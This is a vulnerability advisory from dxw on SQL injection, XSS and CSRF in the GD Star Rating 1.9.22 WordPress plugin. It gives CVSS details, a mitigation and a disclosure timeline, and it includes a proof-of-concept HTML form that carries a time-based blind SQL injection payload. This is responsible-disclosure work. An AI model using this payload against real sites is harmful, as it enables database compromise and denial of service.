XSS, CSRF and blind SQL injection in GD Star Rating 1.9.22 (WordPress plugin)

[Harry Metcalfe <harry () dxw com>]

Details
================
Software: GD Star Rating
Version: 1.9.22
Homepage: http://wordpress.org/plugins/gd-star-rating/
CVSS: 8.5 (High; AV:N/AC:L/Au:S/C:C/I:N/A:C)

Description
================
XSS, CSRF and blind SQL injection in GD Star Rating 1.9.22

Vulnerability
================
This plugin is vulnerable to SQL injection. Carrying out an SQL 
injection requires access to an administrator account. However, the form 
contains no CSRF protection and is also vulnerable to XSS so an attacker 
may not need direct access to an account to perform denial of service or 
to compromise sensitive data.

Proof of concept
================
Proof of concept (see code/adm/db.php at line 154):
<form 
action="http://localhost/wp-admin/admin.php?page=gd-star-rating-stats"; 
method="POST">
  <input type="text" name="s" value="' and sleep(5) = '">
  <input type="text" name="gdsr_search" value="Search Posts">
  <input type="submit">
</form>

Mitigations
================
Disable the plugin until a fix is released.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security () dxw com to acknowledge this report if you 
received it via a third party (for example, plugins () wordpress org) as 
they generally cannot communicate with us on your behalf.

Please note that this vulnerability will be published if we do not 
receive a response to this report with 14 days.

Timeline
================

2013-07-25: Identified
2014-02-18: Reported to plugins () wordpress org
2014-03-28: No response received. Published.


Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.



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